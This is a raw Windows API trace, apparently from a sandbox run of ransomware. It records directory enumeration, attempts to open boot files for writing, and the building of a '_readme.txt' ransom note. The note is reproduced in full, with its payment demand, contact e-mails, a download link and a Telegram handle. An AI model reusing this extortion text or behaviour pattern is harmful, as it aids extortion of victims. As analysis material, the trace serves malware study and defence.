hFindFile=0x39836e0 | out: hFindFile=0x39836e0) returned 1 [0116.602] PeekMessageW (in: lpMsg=0x405ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405ff08) returned 0 [0116.602] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947ae0 [0116.602] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0116.602] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c98 [0116.602] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.602] PeekMessageW (in: lpMsg=0x405ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405ff08) returned 0 [0116.602] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0116.602] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d10 [0116.602] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.602] PathFindFileNameW (pszPath="C:\\Boot\\cs-CZ\\") returned="cs-CZ\\" [0116.602] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.602] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0116.602] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0116.602] PathFindFileNameW (pszPath="") returned="" [0116.602] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.602] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75900000 [0116.602] GetProcAddress (hModule=0x75900000, lpProcName="SHGetFolderPathW") returned 0x75985708 [0116.602] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x800) returned 0x39f3ef0 [0116.603] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39f3ef0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0116.603] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x810) returned 0x39f46f8 [0116.603] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d10 [0116.603] FreeLibrary (hLibModule=0x75900000) returned 1 [0116.603] PathAppendW (in: pszPath="C:\\Boot\\cs-CZ\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\cs-CZ\\_readme.txt") returned 1 [0116.603] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.603] PathFileExistsW (pszPath="C:\\Boot\\cs-CZ\\_readme.txt") returned 0 [0116.603] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x7d00) returned 0x39f9f20 [0116.603] lstrcpyW (in: lpString1=0x39f9f20, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf" [0116.603] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf", lpString2="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237IhsdfH3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237IhsdfH3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L" [0116.603] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dd3b8 [0116.603] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\_readme.txt" (normalized: "c:\\boot\\cs-cz\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0116.603] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dd3b8 | out: hHeap=0xd10000) returned 1 [0116.603] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f9f20 | out: hHeap=0xd10000) returned 1 [0116.603] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.603] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.603] FindFirstFileW (in: lpFileName="C:\\Boot\\cs-CZ\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x39836e0 [0116.603] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.604] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0116.604] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0116.604] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.604] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x40) returned 0x3960f00 [0116.604] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.604] PathFindExtensionW (pszPath="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned=".mui" [0116.604] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0116.604] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3960f00 | out: hHeap=0xd10000) returned 1 [0116.604] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0116.604] FindClose (in: hFindFile=0x39836e0 | out: hFindFile=0x39836e0) returned 1 [0116.604] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.604] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.604] PeekMessageW (in: lpMsg=0x405ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405ff08) returned 0 [0116.604] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.604] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0116.604] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.604] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.604] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.604] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.604] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.604] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.604] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.604] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.604] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.604] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.604] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.605] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.605] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.605] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.605] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.605] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.605] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.605] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.605] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.605] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.605] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.605] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0116.605] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.605] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.605] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.605] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.605] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc2e) returned 0x39f3ef0 [0116.605] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.605] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.605] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.605] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.605] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.605] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.605] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.605] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.605] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0116.605] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.605] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.605] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.605] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0116.605] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.606] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.606] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.606] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0116.606] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.606] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.606] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.606] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.606] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.606] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.606] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.606] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.606] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.606] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.606] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.606] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0116.606] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.606] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.606] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.606] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0116.606] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.606] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.606] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.606] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.606] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.606] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.606] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.606] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.606] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.606] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.606] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.606] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.606] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.607] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.607] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.607] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.607] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.607] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.607] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.607] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.607] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.607] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.607] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.607] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.607] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.607] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.607] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.607] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.607] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.607] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.607] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.607] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.607] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0116.607] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.607] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.607] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.607] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.607] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.607] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.607] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.607] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.607] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.607] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc2e) returned 0x39f3ef0 [0116.607] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.607] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.608] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.608] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.608] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0116.608] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.608] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.608] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.608] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0116.608] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.608] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.608] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.608] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.608] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.608] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.608] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.608] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.608] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 